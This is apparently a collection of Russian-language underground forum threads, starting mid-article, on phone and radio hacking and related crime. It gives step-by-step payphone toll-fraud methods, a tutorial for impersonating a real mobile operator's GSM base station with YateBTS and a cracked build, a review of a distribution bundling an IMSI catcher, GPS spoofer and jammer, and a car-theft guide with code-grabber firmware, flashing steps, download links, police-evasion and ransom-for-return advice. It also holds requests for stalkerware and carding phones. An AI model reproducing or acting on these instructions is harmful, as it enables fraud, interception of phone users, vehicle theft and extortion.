5. В последнее время все чаще и чаще встречаются таксофоны с увеличенным временем разрыва линии и с ограничением длинны городского номера семью цифрами. Однако, несмотря на это нововведение, с некоторых из них сохраняется возможность выхода на города, коды которых начинаются на 0. Ограничение количества цифр номера почему-то по прежнему нет.
Для применения этого метода Вам необходима хорошая реакция, хороший слух и наличие чуства юмора. Для более легкого освоения этого метода мы рекомендуем Вам выбрать таксофоны, установленные на АТС, зуммер которых отличается от зуммера АМТС. При этом, после нажатия на магическую клавишу, Вы легко сможете отличить зуммер АМТС (появляется после правильного нажатия) от зуммера ГАТС (при ошибке с Вашей стороны), желающим набить руку, рекомендуем потренироваться дома (алгоритм тот же), но не думайте, что в этом случае разговор станет дешевле.
Любителям очень длительных телефонных разговоров, рекомендуем задуматься над следующим: после снятия трубки вызываемым абонентом, линия шунтируется также, как и при ответе аппаратуры АОH (но информация о номере не выдается, конечно, если только в Америке не поставят АОH с десятью запросами). Если Вам хватит фантазии для того, чтобы расширить описанный нами алгоритм, то Вы сможете звонить куда угодно совсем бесплатно, в том числе и в города, коды которых начинаются на 8.
Все вышеописанное используется уже в течении полутора лет, с момента появления первых карточных таксофонов на улицах нашего города.
P.S. После написания этой статьи я получил огромное число писем с просьбой объяснить, о какой именно "магической клавише" идет речь. Для тормозов: это рычаг, на который вешается трубка таксофона, при помощи которого разрывается соедиенние

SigintOS
ID: 676535aeb4103b69df37366d
Thread ID: 30813
Created: 2019-08-02T14:04:34+0000
Last Post: 2020-11-07T17:36:01+0000
Author: utrom
Replies: 15 Views: 9K

Краткий обзор, скорее для обращения взора общественности на крайне интересный инструмент :smile37: Продукт получился очень годным, хотя на бету ругаются благим матом из за привычных проблем с драйверами.

Ура ламерки, пришел ГУЕвый продукт для самых маленьких в котором можно работать из коробки с SDR и ВиФи, что конечно очень радует.

SigintOS - это дистрибутив на основе Ubuntu с несколькими встроенными приложениями для анализа сигналов для программно-определяемых радиостанций, таких как RTL-SDR и другие поддерживающие TX SDR, такие как HackRF, bladeRF и USRP.

Дистрибутив выглядит очень хорошо выполненным, со встроенным графическим интерфейсом, который предоставляет легкий доступ к некоторым распространенным инструментам Sigint, таким как передатчик FM и GPS, глушилка, инструмент поиска базовой станции GSM и IMSI-кэтчер. SigintOS также имеет различные другие предустановленные программы, такие как GNU Radio, gr-gsm, YatesBTS, wireshark и GQRX.

ОС также предлагает поиск LTE и декодер LTE, для доступа к которым требуется, чтобы вы связались с создателями, предположительно за плату за лицензирование. Что касается улавливателя LTE IMSI, они пишут:

LTE IMSI Catcher это не миф!

Из-за природы базовых станций LTE захват номеров IMSI кажется невозможным. Станции LTE используют GUTI для связи с пользователями вместо IMSI. GUTI содержит временный номер IMSI, называемый T-IMSI. Это позволяет оператору выяснить, кто находится на соответствующей станции LTE, кто уполномочен запрашивать информацию T-IMSI.

sigintos_imsi.png

1 1pzyoqn4gQJRQLOiEwf6RQ.png

GSM base station search tool
GSM IMSI catcher
FM transmitter
GPS Spoofer
Generic narrow-band signal jammer

нужна схема электрошокера
ID: 676535aeb4103b69df373687
Thread ID: 16026
Created: 2008-10-22T09:04:39+0000
Last Post: 2020-05-16T13:18:17+0000
Author: aggressor
Replies: 10 Views: 9K

народ. нужна схема электрошокера,
желательно простая :help:
З.Ы. гопы достали

Оператор по номеру телефона.
ID: 676535aeb4103b69df37368f
Thread ID: 27762
Created: 2019-02-08T20:06:04+0000
Last Post: 2020-02-11T15:03:25+0000
Author: GoogleFI
Replies: 20 Views: 9K

Кто нибудь знает как можно определить оператора (US) по номеру телефона, а так же понять мобильный это или городской. (без специальных сервисов)
заранее благодарю.

Улучшения приёма сигнала мобилы
ID: 676535aeb4103b69df3736da
Thread ID: 10261
Created: 2006-07-30T18:12:06+0000
Last Post: 2006-10-01T05:50:52+0000
Author: Absent
Replies: 27 Views: 9K

Люди! Поделитесь инфой по поводу улучшения приёма сигнала мобилы.
Наверно многие оказывались в ситуации, когда приходится куда-нить ехать, а там приём как из бочки :shit:
Так что подскажите что делать.

Посоветуйте телефон для вбива СС и реги БА
ID: 676535aeb4103b69df373540
Thread ID: 105594
Created: 2024-01-11T19:20:41+0000
Last Post: 2024-12-17T08:15:55+0000
Author: rich666k
Replies: 64 Views: 8K

Видел на одном канале интервью челика, который из телефона делает терминал или хороший анти-детект телефон с возможность на лету менять все параметры (IMEI и.т.д) , продает такие за 20-50к$(Ну и соответсвенно там очень хорошая проходимость на таких мобилках), так вот, он назвал XiaomiRedmi 9 в интервью идеальным, по его мнению, кандидатом на должность анти-детект телефона. И вот я сейчас в поиске идеального аппарата с гибкой и дружелюбной оболочкой для переустановки прошивок и прочего, чтобы и устройство само отвечало современным стандартам в том числе. Кароче хочу собрать себе похожую мобилку, но не желаю башлять такие деньги и взаимодействовать с этим алконафтом, и самому разобраться попутно в том числе (Репутация у персонажа вообще не очень, но работает как-то).

Слежка
ID: 676535aeb4103b69df373651
Thread ID: 40928
Created: 2020-08-14T18:51:21+0000
Last Post: 2021-07-05T19:20:46+0000
Author: Stasos3911
Replies: 22 Views: 8K

Всем привет, ребята посоветуете какую программу можно установить на сторонний андроид что бы потом отслеживать переписки , звонки, место положение, со своего телефона?

EvilBTS или подменяем GSM сети с помощью YateBTS и bladeRF
ID: 676535aeb4103b69df373655
Thread ID: 30125
Created: 2019-07-02T13:04:52+0000
Last Post: 2021-06-11T18:45:31+0000
Author: weaver
Prefix: GSM
Replies: 17 Views: 8K

4097

Вот и еще одна статья на тему bladeRF. Недавно я показал как с помощью bladeRF можно поднять свою GSM станцию. Сегодня мы рассмотрим как настроить Yate таким образом чтобы она стала клоном действующей сотовой сети.

Суть атаки заключаться в том чтобы подделать базовую станцию реального оператора и тем самым выдать себя за оригинал. Для последующего подключение телефона в автоматическом режиме к нашей станции.

Теория:
Чтобы подделать базовую станцию реального оператора мобильной связи, необходимо смоделировать Home Network Identity (HNI) целевой сети.

HNI - это комбинация MCC (код страны мобильной связи) и MNC (код мобильной сети). Это номер, который идентифицирует сеть абонента, также известную как PLMN (Public Land Mobile Network).

Комбинация, используемая для идентификации оператора мобильной сети, также называется кортежем MCC / MNC.

Mobile Country Code (MCC)
MCC расшифровывается как Mobile Country Code. Этот параметр используется для определения информации о стране и географическом регионе.

MCC состоит из трех десятичных цифр, где первая цифра обозначает географический регион, как видно из следующей таблицы:

4096

Цифры 1 и 8 не используются.

Mobile Network Code (MNC)
MNC - это сокращение от Mobile Network Code. Этот параметр используется для однозначной идентификации конкретной PLMN в конкретной стране (определяется MCC).

Location Area Code (LAC)
Location Area Code (LAC) - это уникальный номер текущей зоны местоположения. Область местоположения - это набор базовых станций, которые сгруппированы для оптимизации сигнализации.

Location Area Identification (LAI)
Location Area Identification (LAI) - это объединение MCC, MNC и LAC. Мобильная станция использует эту информацию в качестве важной основы для выбора сети.

p.s Для лучшего понимание вы можете отдельно почитать про это. Тут я затронул краткое описание с тем минимум который нам потребуется для реализации задуманного.

Практика:
Для начало нам надо установить Yate + YateBTS и настроить. Как это сделать я описал в сатья [Поднимаем GSM станцию с помощью YateBTS и bladeRF](https://codeby.net/threads/podnimaem-gsm-stanciju-s-pomoschju- yatebts-i-bladerf.67989/) правда есть тут один нюанс. Бесплатная версия Yate и YateBTS нам не подойдет так как она урезана. Нам понадобиться взломанная версия. Скачать можно с моего репозитория n3d-b0y/evilbts.

Складируем репозиторий в домашнюю директорию: git clone https://github.com/n3d-b0y/evilbts

А дальше продолжаем установку по инструкции до пункта (Настраиваем Web GUI YateBTS). Команду sudo ln -s /usr/local/share/yate/nipc_web yatebts меняем на sudo ln -s /usr/local/share/yate/nib_web yatebts и сново продолжаем настройку по инструкции.

Подними тестовую точку и проверим что у нас все работает перед тем как приступить к следующему шагу. Если сесть с именем Test PLMN появилась и нет никаких ошибок идем дальше (если ошибки все таки есть значит что то вы настроили не так).

Перед тем как приступить к клонированию базовой станции в настройках сим карты установками предпочитаемый тип сети 2G. У меня это делаеться следующем образом:

4095

4094

4093

4092

После того как это было сделано. Нам надо получить 3 параметра MCC / MNC и LAC оператора сети которой мы хотим подделать. На Android это можно сделать двумя способами. Первый это использовать стандартный функционал вывод Access the Android Testing menu второй это установив приложение из Google Play.

Первый вариант:
набираем код ##4636## и перед нами открывается меню в маем случаи выбираю “Информация о телефоне 1” это первая сим карта в моем телефоне:

4091

В новом окне в самом низу найдем информацию с заголовком “Статистики сети” выглядеть это будет примерно так:

4090

Если посмотрите на имена колонок то найдете значения которые мы искали MCC / MNC и LAC. Значения будет брать из первой строчки 286 / 01 / 40500. Также отсюда нам понадобиться значения ARFCN это частота на которой мы будем вещать 44.

Второй вариант:
Устанавливаем приложение CellMapper. После установки открываем его и просматриваем все те же значения в более удобном формате:

4089

После того как мы получили всю нужную информацию переходим к настройке YateBTS. Открываем Web интерфейс переходим на вкладку BTS Configuration и устанавливаем следующие значения:

Code:Copy to clipboard

Radio.Band: EGSM9000 - так как сеть у нас 2G (в приложении CellMapper есть поле Band Name которое подсказывает что надо выставить)
Radio.C0: 44 (это параметр ARFCN)
Identity.MCC: 286
Identity.MNC: 01
Identity.LAC: 40500

4088

После того как все значения установили не забудьте нажать Submit. Вот мы и настроили YateBTS для подмены сотовой станции у абонента. Осталось только проверить все ли правильно мы сделали ;)

Перед запуском Yate зайдем в настройки сим карты в раздел Мобильные сети и убедимся что у нас стоит “Выбирать сеть автоматически”

4087

Также обратите внимание на подключенную сеть у меня это KKTCELL у вас будет ваш оператор. Запускаем Yate sudo yate -s. Буквально через 10 сек произошла подмена сети) Как можно увидеть на скриншоте ниже у меня по прежнему выбрано “Выбирать сеть автоматически” но сеть выбрана 712712.

4086

Также надо учиться тот факт чтобы произошла подмена требуется чтобы ваш сигнал был сильнее базовой станции.

Данные действия противозаконны в любой стране и все действия вы выполняете на свой страх и риск. Я не несу ответственность за то как вы будете распоряжаться данной информацией. Если ваш сигнал слишком мощный, вы можете нарушить работу устройств в вашем радиусе. Будьте осторожны.

Click to expand...

p.s Вероятно эта последняя статья в ближайшее время связанное с bladeRF так как отпуск подходит к концу, пора уезжать с солнечного Кипра в страну для жизни)) Спасибо @HakJob за то что дал попользоваться bladeRF, без него не было этого материала.

Автор: n3d.b0y

Вышел Raspberry Pi 4
ID: 676535aeb4103b69df373678
Thread ID: 29961
Created: 2019-06-24T17:11:27+0000
Last Post: 2020-08-31T15:57:58+0000
Author: tabac
Replies: 4 Views: 8K

А тем временем миру показали новую Raspberry Pi 4 с новым 4-ех ядерным Broadcom BCM2711 SoC Cortex-A72, 1.5ГГц (в 3-ке стоит Broadcom BCM2837, Cortex-A53, 1.2ГГц), увеличенным объемом ОЗУ, двумя микро HDMI, разъемом type-c и пр. Цитирую разработчиков: "производительность сопоставима с PC x86 начального уровня".

1ГБ - 35$
2ГБ - 45$
4ГБ - 55$

Click to expand...

![www.raspberrypi.org](/proxy.php?image=https%3A%2F%2Fwww.raspberrypi.com%2Fapp%2Fuploads%2F2019%2F06%2FHERO- ALT-500x357.jpg&hash=c9fea6a7fa7f2dc9d7fcfdace86680fa&return_error=1)

[ Raspberry Pi 4 on sale now from $35 - Raspberry Pi

](https://www.raspberrypi.org/blog/raspberry-pi-4-on-sale-now-from-35/)

We have a surprise for you today: Raspberry Pi 4 is now on sale, starting at $35.

![www.raspberrypi.org](/proxy.php?image=https%3A%2F%2Fwww.raspberrypi.com%2Fapp%2Fthemes%2Fmind- control%2Fimages%2Ffavicon.png&hash=4609cadb9a40ddeeafc89f2eed91ff7a&return_error=1) www.raspberrypi.org

Укртелеком
ID: 676535aeb4103b69df3736e4
Thread ID: 148
Created: 2005-01-06T01:12:36+0000
Last Post: 2006-08-07T14:50:02+0000
Author: AKella
Replies: 14 Views: 7K

1 способ. Более простой - проходит только на таксофонах с входящим звонком и для этого требуется всего лишь навсего мобила поддерживающая тоновый набор.

2 способ. Чуть посложнее - проходит почти на всех таксофонах и требуются две телефонные карточки и ловкость рук J . Одна из карточек должна быть полностью пустая, а на второй должно быть РОВНО минута для звонка. Ещё раз повторю, неважно звонок по городу, по области, по стране и т.п. - РОВНО минута для предстоящего звонка.

3 способ. Самый геморройный - проходит сам не знаю на каких таксофонах, но не очень часто, и обычно на халяву идёт разговора всего лишь 59 секунд, после чего таксофон сбрасывает разговор и нужно опять париться всё сначала.

4 способ. Тоже очень геморройный – очень похож на предыдущий, но чуть-чуть отличается в деталях.

Поскольку со вторым способом я ещё до конца не разобрался, то пока его описывать не буду. Но как только разберусь что и к чему обязательно выложу!!!

И так способ первый. Мой любимый и самый простой.

Инструменты: мобила поддерживающая тоновый набор. Его поддерживает почти любая (точно знаю, что нету оного в Alcatel'ах 30х, 31х). Можно также взять на базаре, в магазине, вобщем где найдёте биппер или игрушечную мобилу которая издаёт тоновые сигналы. Тоже пойдёт J . Но настоящая мобила лучше. Почему узнаете попозже. Поэтому дальше всё буду писать для работы с мобилой.

Шаг первый - берём мобилу и включаем на ней тоновый набор.

Шаг второй и самый трудный. Как я здесь писал раньше - теперь нужно найти таксофон с входящим звонком. То есть - берём велосипед или мотороллер - кому что по карману J - и колесим по всему городу пока не найдём такой. Таксофон проверяется просто. Чтобы проверить таксофон такой он или нет - нужна таксофонная карточка. Вставляем её в таксофон и звоним себе на мобилу. Если на мобиле выбивает нормальный городской номер с кодом города, то есть уже надежда, что нужный таксофон найден. Теперь остаётся в этом убедиться. Берём мобилу и набираем полученный номер. Если при звонке уже с мобилы на этот номер таксофон звенит и показывает надпись входящий звонок, то всё Ok и таксофон с нужной прошивкой найден. (Ещё один нюанс. Будьте осторожны при звонках на таксофон, поскольку очень часто после нажатии кнопки вызова вы в динамике мобилы услышите гул или можете вообще ничего не услышать, а денюжки с вашего счёта уже будут медленно, но уверенно уходить J .) Вот теперь думаю всем понятно почему мобила лучше биппера издающего тоновые сигналы. Если же при звонке на мобилу выписывает, что номер закрыт или номер какой то не стандартный (например начинается с нуля), то скорее всего позвонить на халяву не удастся, но проверить ниже выложенный алгоритм можно, хотя скорее всего бесполезно J . Честно говоря я убил два дня катаясь по городу, но зато теперь знаю таких пять таксофонов в разных концах города. Мне пока хватает J .

А теперь самая изюминка всего нашего дела. Мы нашли нужный таксофон. И уже в предверии удачного бесплатного звонка. Желательно, чтобы то что вы будете делать видело поменьше людей, а то ведь сами знаете на счёт зависти, лишних разговоров и т.п. Делаем следующие манипуляции :

1. Снимаем трубку таксофона и держим одной рукой.

2. Другой рукой держим рычаг сброса и несколько раз быстро ударяем по нему, а потом удерживаем его рукой в состоянии трубка положена, при этом же на самом деле трубка в вашей другой руке. Если всё сделано правильно то вы можете наблюдать как на экранчике таксофона засветятся полностью все квадратики, но не чисто чёрным, а слегка серым (типа как бы была сбавлена контрастность LCD). Далее удерживая рычаг в состоянии трубка положена, примерно секунд 5-10, ждём пока таксофон не зазвенит и на экране должна появиться надпись ВХОДЯЩИЙ ЗВОНОК. Если этого не произошло повторяем пункт 2.

3. И так на экранчике появилась надпись ВХОДЯЩИЙ ЗВОНОК. Теперь сразу же отпускаем рычаг. В трубке должен слышаться непрерывный гудок, а на экранчике должен пойти отсчёт времени только не в обратную сторону, а нормальный 00:01,00:02,00:03 и т.д. Далее берём мобилу, и динамиком из которого выходят тональные звуки, ещё раз повторю – не тем в который вы слушаете разговор, а тем из которого ВЫХОДЯТ ТОНАЛЬНЫЕ ЗВУКИ (хотя у Siemens’ов они расположены рядом) приставляем к микрофону трубки таксофона. Удерживая так мобилу динамиком возле микрофона трубки таксофона (ещё раз напоминаю, так как это ОЧЕНЬ ВАЖНО И ТОЧНОСТЬ ИСПОЛНЕНИЯ ГАРАНТИРУЕТ РЕЗУЛЬТАТ, на мобиле должен быть включен тональный набор и чем побольше громкость клавиатуры, а динамик из которого выходят тональные звуки мобилы точно должен попадать в дырочки микрофона таксофона, чтобы таксофон получше воспринимал тоновые сигналы) набираем номер на который хотим позвонить на мобиле. Набирать цифры нужно с равномерным нажатием примерно 1-2 цифры за секунду. Набрав номер до конца НЕ НУЖНО на мобиле жать кнопку вызова, так как таксофон реагирует только на тоновые сигналы !!! А просто нужно убрать мобилу, а трубку таксофона уже можно приставить к уху J . Если всё сделано правильно то вы услышите как пошли гудки вызова и можете наслаждаться бесконечным разговором J !!! Для полной безопасности от чужих глаз теперь можно вставить карточку в таксофон.

P.S. Лично я всё это делаю чуть-чуть не так. Отпускать рычаг можно уже тогда когда появились на экранчике таксофона полностью все квадратики – это описано в пункте 2. А дальше всё по вышеизложенному алгоритму только уже с пункта 3 J .

Способ третий.

Набираем на таксофоне, со вставленной карточкой, номер и ждём вызова. Когда на другом конце поднимают трубку – очень резко ударяем по рычагу сброса. После это таксофон начинает перегружаться и в этот момент мы вытаскиваем карточку а также жмём много раз клавишу *, до тех пор пока таксофон не придёт в нормальное состояние. Очень важно чтобы удар был резким и кратковременным! Самое главное теперь, чтобы на другом конце за это время не положили трубку. Если после всего этого в трубке ещё слышно разговор того к кому мы звоним, то набираем один из бесплатных экстренных номеров (например у нас в Украине 01,02,03 или 04). И дальше разговариваем. Должно также пойти время 00:01,00:02,00:03 и т.д. Не знаю от чего зависит длительность разговора, но мне чаще всего не удается поговорить более 59 секунд. Иногда, было так несколько раз, время переваливает за 59 секунд и тогда можно разговаривать до безпредела долго J .

Способ четвёртый(и пока что последний L ).

Почти точная копия предыдущего, но чуточку всё нужно делать не так. Сначала нужно набирать один из бесплатных экстренных номеров (например у нас в Украине 01,02,03 или 04) и ждём вызова. Когда на другом конце поднимают трубку – очень резко ударяем по рычагу сброса. Потом резко набираем нужный нам номер (но так чтобы когда набираете цифры они появлялись на LCD). И если вызов пошёл, то наслаждаемся разговором.

Лично у меня этот способ не проходил ни разу. Да и доставать экстренные службы с их и так уж напряжённой работой не охота. Зато мой друг с успехом пользуется этим способом и говорит, что больше ему ничего и не надо. А звонит он обычно на 04 так как это газовое хозяйство и по его словам не такая уж у них и хлопотная работа. Но как говорят - это его личное дело J .

P.S. А мне больше всего нравиться первый вариант, так как он самый простой в использовании и не требуется никакой ловкости рук и всяких ударов по таксофону J .

РАЗБОР ХАКЕРСКИХ УСТРОЙСТВ
ID: 676535aeb4103b69df3735f1
Thread ID: 65143
Created: 2022-04-02T15:41:40+0000
Last Post: 2023-03-17T23:13:12+0000
Author: PROVODA
Prefix: Статья
Replies: 31 Views: 7K

всем привет дорогие друзья!

в интернете существует много статей,товаров,видео по поводу ,,хакерских устройств''
давайте попробую разобрать что это и зачем...
начнем с этого:

1. WiFi Pineapple Mark IV​

1648914548334.png

По сути, это обычный беспроводной роутер (на базе беспроводного чипа Atheros AR9331 SoC и процессора 400 МГц), но со специальной, основанной на OpenWRT прошивкой, в которой по умолчанию включены такие утилиты, как Karma, DNS Spoof, SSL Strip, URL Snarf, ngrep и другие. Таким образом, достаточно включить устройство, настроить интернет (все конфигурируется через веб- интерфейс) — и перехватывать данные пользователей. Роутер нуждается в питании, и это мешает его мобильности; однако существует огромное количество вариантов (что активно обсуждается на официальном форуме) использовать аккумуляторы — так называемые Battery Pack.
НО ЗАЧЕМ????
когда есть старый добрый линукс и wifite..... но если вы умеете писать прошивки на такого рода устройства то в перед!!!! а так я бы не пользовался стандартными прошивками...
если не хвататет антены на ноутбуке то есть на алиэкспресс)) wifi адаптер с режимом мониторинга. и все wifite протянет ноги до кабины пилота)

2. Ubertooth One​

1648914823689.png

с Ubertooth One можно беспрепятственно перехватывать фреймы из Bluetooth- эфира, причем использовать для этого привычные утилиты вроде Kismet. Можно девайс собрать самому, если руки растут из нужного места, или же купить готовое к использованию устройство в одном из авторизированных магазинов. ЗАЧЕМ????? линукс и в перед!!!!!!! а как вы себе это представляете ???7 чидишь в кафе, и из твоего ноута торчит антенна.... вот прям не подозрительно.................................

3-ALFA USB WiFi​

1648915120567.png
как и говорил в первом пункте вот про этот адаптер... режим мониторинга и в перед

4-USB Rubber Ducky​

всеми любимая утка
эмулирует HID-устройство (клавиатуру) и, пользуясь тем, что система воспринимает их как доверенные, эмулировать ввод, который создает в системе нужные нагрузки (например, открытие шелла). USB Rubber Ducky является аналогом Teensy. Сердце устройства — 60-мегагерцевый 32-битный AVR-микроконтроллер AT32UC3B1256, однако хардкодить что-то на низком уровне не требуется. Устройство поддерживает удивительно простой скриптовый язык Duckyscript (похожий на обычные bat-сценарии), на котором к тому же уже реализованы всевозможные пейлоады. Запустить приложение, создать Wi-Fi-бэкдор, открыть reverse-шелл — можно сделать все то же самое, как если бы ты имел физический доступ к компьютеру. Еще большую гибкость предоставляет дополнительное хранилище в виде microSD карточки, на которой можно одновременно разместить несколько пэйлоадов. прошивок в инете хоть задницуй жуй. действительно интересное устройство которое у меня есть. в нем есть смысл! если вы работаете в офисе то почему бы и нет)

5-usb rubber ducky
1648915627937.png

и начинается самое интересное. у меня у самого малина 4 на 16 гб оперативы стоит parrot os. с ней действительно много что можно делать. от сервера до анонимайзера... юзаю его как проводник между моим пк и интернетом. к нему эти устройства подключать интересною действительно есть в чем покапаться. на ,,анонимность'' ы бы присмотрел вот эту модель. например как для взломов в публичных местах. 1648916053754.png
raspberry PI 400

опять же. все это имеет смысл когда вы умеете этим пользоваться и умеете писать прошивки

p.s пишите под статьей какие хакерские устройства нужно разобрать! разберу подробно.
если кто хочет поддержать за ссылкой на донат в лс)

Создание кодграббера. Прошивки, схемы, инструкции, описание работы.
ID: 676535aeb4103b69df373604
Thread ID: 40522
Created: 2020-08-05T18:43:26+0000
Last Post: 2022-12-05T13:29:27+0000
Author: Рыцарь
Prefix: Статья
Replies: 30 Views: 7K

Привет, мальчишки и девчонки, а также их родители. Про угон автомобилей услышать не хотите ли?!

Четкое вступление. Сразу скажу - я не истина в последней инстанции, но эту тему изучал очень подробно, как и тему краж из автомобилей.
Но в этой замечательной во всех отношениях статье я расскажу про угоны.

Кто работает по теме, здесь не найдет ничего полезного и нового. Тут будет информация для тех из вас, кто неожиданно столкнулся с некоторыми финансовыми затруднениями и решил так сказать эту ситуевину исправить быстрым способом.

Если кто думает, что угоны это что то очень сложное, то не печальтесь. Я вам расскажу про самые легкие и доступные способы для самых маленьких начинающих угонщиков.

Довольно странно про это говорить в теме про угоны авто, но все таки подчеркну, чтобы угнать телегу, вам нужно уметь управлять телегами вообще в принципе. Желательно управлять хорошо, и согласно правилам пдд.

Далее, вам следует понять как из этой затеи вы будете извлекать доход. Тут вариантов не так много.

Если вдруг вы рукастый рукожоп, и пересобрать тачку вам что два пальца об асфальт и вас не пугают десятки ведер болтов и гаек, то возможно стоит рассмотреть вариант продажи авто по запчастям
Если у вас есть контакты в Казахстане, то быть может стоит подумать о перегоне авто в эту страну таможенного союза
Если вы ленивый рукастый рукожоп, то быть может сумеете переделать тачку под аля чистую и продать со скидкой аля лоху
Если пред варианты вам не подходят, то возврат за вознаграждение тоже имеет место быть

Не стоит также забывать и про вариант для себя. Вы забираете тачку под ранее купленные документы (птс + сор + госзнаки) и тихонечко не нарушая пдд ездите сами или продаете дубль другим

Безопасность и риски

Одна краденная машина вас на несколько лет не прокормит. Несколько краденных авто гарантируют вам, если прилипните, несколько безбедных лет на казерных харчах и с крышей над головой. Даже если вы ранее никогда не были судимы.

Причина в этом заключается в размере ущерба. В ситуации с угонами обычно оперируют крупным ущербом. Выдуманные истории средствами массовой информации, что мол угонщики получают условку и сьезжают по 166 статье (угон) - это истории для населения. В 90% вы пойдете по 158 ч. 3, а если будут крутить на организованную группу то по 158 ч. 4.

Поэтому самое время заикнуться о безопасности. Время до вашего задержания стремительно сокращается в геометрической прогрессии в зависимости от количества людей, осведомленных о вашей деятельности. Я даже не говорю, о том что кто то будет знать что вы именно угоняете авто. Я говорю о том, что вообще кто то будет знать что вы как то связаны с авто.

Поэтому идеальная ситуация если вы двигаетесь один, поэтому здесь и пойдет речь о работе в одного.

Выбор инструмента и метода угона

Любой авто, даже убитая в хлам копейка, представляет определенную ценность для терпилы и является такой же единицей уголовного дела как ленд крузер прадо стоимостью в два миллиона. Намек понятен? Нет?

Забирая 10 простых тазов общей стоимостью в 1 млн (твой доход 300 тыс.) - риск прилипнуть в 10 раз выше, чем забрав одну машину стоимостью в 1 млн рублей.
Если ты хочешь долго и продуктивно на радость маме и папе работать по этому направлению, необходимо соизмерять риски и правильно выбирать цели.

Самый простой способ угнать авто премиум класса или просто дороже миллиона оборудованной безключевым доступом - это удочка, короткая или длинная рука.

- работа с прибором возможна только двумя людьми. Один держит устройство возле авто, а другой со вторым устройством идет за терпилой (держит прибор возле ключа). А значит это оборудование не подпадает под вариант работы в одного (можно и в одного при определенных условиях)

Все автомобили условно можно разделить на две группы: оборудованные штатным иммобилайзером и без такового.

Машины без иммо - это в основном авто до 2006-2008 годов выпуска. В зависимости от состояния и моделей стоимостью до 400-500 тыс. рублей. Самые простые в плане угона - это японский автопром.

Машины с иммо - это такой средний класс, машины для семьи и типа того.

Выше я намекнул, что статья для новичков, поэтому я сразу буду указывать на инструмент наиболее простой для наших ваших темных делишек.

В России и странах СНГ очень и очень популярна такая сигнализация как Шерхан. Возможно вы замечали на некоторых авто на лобовухе круглые наклейки с лапкой тигра или просто круглые белые наклейки с мигающей лампочкой посередине. Так вот это и есть шерхан.

Все дело в том, что этого самого шерхана ставили и даже продолжают ставить на огромное количество автомобилей просто потоком. Просто не соблюдая никакие правила скрытой установки и тому подобное. Его ставили и ставят по инерции.

И если вы видите такой автомобиль, с наклейкой на лобовом в 90% случаев это означает потоковую установку сигнализации, даже если автомобиль ценой в 1.5 - 2 млн рублей. Это ОЧЕНЬ легкие цели, в большинстве случаев не защищенные больше ничем.

Чтобы открыть такой автомобиль, вам нужен кодграббер Шерхан ФМ, который легко делается самостоятельно.

Если очень быстро и просто описать технологию, то это примерно так:

1. Нашли цель
2. Постучали по датчику или по колесу. Кодграббер поймал сигнал
3. Сделали автозапуск.
4. Открыли авто. Свертом (если авто без кнопки старт стоп) сворачиваем личинку замка зажигания или если позволяет время под торпедой находим ключ в обходчике иммобилайзера. Если машина на кнопке старт стоп, то не нажимая педаль тормоза, удерживая кнопку shift lock переключаем коробку передач в драйв. Ручником регулируем скорость.
5. Поехали. Как только набираем 15-20 км в час можно жать на тормоз. Авто не заглохнет.

На какие авто ставили шерхан? На большинство корейских автомобилей до 2018 года. На многие форды. На японские экспортные, такие как Toyota RAV4, Camry, Land Cruiser и тому подобное.

Довольно редко, но все же встречаются европейские авто на шерханах свежих годов.

Где искать авто?

Там где много машин.

Спальные районы: вечером, после 6 часов сканируете эфир пару часиков. Кодграббер ловит в радиусе до 70 метров. Потом проходите по рядам и выбираете наиболее интересный вариант или тот который вам нужен. Или приезжаете рано утром, делаете пару проходов. Ищите глазами шерхан. Визуально изучаете цель.

Места дневных стоянок: во многих городах есть площади, бесплатные парковки, где офисный планктон или студенты бросают тачки на весь рабочий день. А также стоянки возле жд станций и станций метро, где люди оставляют утром тачки, а вечером их забирают

Места длительного отсутствия: кинотеатры, фитнес центры, бассейны, туристические маршруты, театры, филармонии, спортивные арены. Естественно тут имеет место поиск только когда проходит какое то мероприятие. А также любые крупные стоянки перед каким то массовым событием. Как то выступление рок группы в полях тьмутаракании или нерест петрушки в синем море хоббитании

Когда забирать авто?

В зависимости от выбранного места. Рано утром перед рассветом из спальных районов. Утром до обеда или после обеда с дневных парковок (в обед кто то может и к стоянке выйти и вдруг это владелец выбранной тачки).

Способы монетизации:

Покупаем колёса после пожара или жёсткой аварии она должна стоять на учёте каким-то образом и не зафиксирована как не пригодная для езды снимаем номера и ставим на сыр! Две тачки не должны одновременно ездить с одними и теми же номерами не в коем случае иначе палева по камерам и быстрая приёмка!

Отдаём клон в таксопарк, сдаём в аренду! Много тачек гонят на кавказ и за границу!

На стрелку, в розыске передвигаться, на делегу! Колёса которые можно бросить и забыть в случае чего!

Машину забираешь, ставишь и больше к ней не возвращаешься. Это под возврат.

Смысл в том, что когда ты уехал на угон еще нет заявления, а если ты будешь забирать машины которые давно стоят без движения (владелец уехал или постоянно ездит на другой и куча других вариантов), то вообще заявление может быть спустя несколько дней а то и недель. Короче, в момент угона и в течении часа, тачка еще не в розыске и ты юридически не преступник )))

Ставишь машину в соседнем районе или любом другом районе (естественно нужно избежать камер). Здесь важна безопасность добраться до точки. Если тебе безопасен соседний район, гони туда. Если на другом конце города, ставь там.

Машину фотографируешь во всех ракурсах, в том числе вещи которые там есть. В дальнейшем эти фото через анонимную почту будешь слать терпиле как подтверждение твоих слов что машина у тебя.

Больше к машине не возвращаешься, не подходишь не проверяешь двери, не трогаешь рукой, даже смотришь на нее издалека из за угла. Если тачку обнаружили, х#й с ней. В соседнем дворе стоит следующая цель. Но если ты вернешься к машине и попробуешь ее перегнать или что то с нее снять, есть очень большой шанс что за тачкой уже наблюдают!!! Или случайно ппс обнаружит или житель дома пожалуется что его место парковочное заняли или владелец найдет с помощью соц сетей. Огромное количество или может быть.

Если владелец захотел возврат (ясно дело, до угона нужно узнать максимум информации о цели, чтобы вообще понимать стоит оно того или нет), тогда возникает вопрос оплаты. Принимаешь только криптовалютой!

Создание кодграббера. Прошивки, схемы, инструкции, описание работы.

Кодграббер в брелке Шерифф ZX940

Для прошивки брелка потребуется программатор PicKit 2.
Его можно приобрести как в магазине радиодеталей, так и заказать с Алиэкспресс.
1.jpg
Схема подключения программатора к брелку:
2.jpg
Как подключили программатор к брелку, запускаем программу PicKit2 Programmer.
Стираем заводскую прошивку, записываем ту которая нам нужна.

У каждой прошивки свой список сигнализаций, которые она принимает, также в архиве есть прошивка для шлагбаумов.
Данный кодграббер работает с модуляцией AM
https://anonfiles.com/15z0zf9boa/_Sheriff_ZX-940_rar
https://anonfiles.com/H2A2z197oe/_Scher-Khan_rar

https://xssforumv3isucukbxhdhwz67ho.../12953/?hash=4f45a9e932a75ca28e4ce66e32c8443a

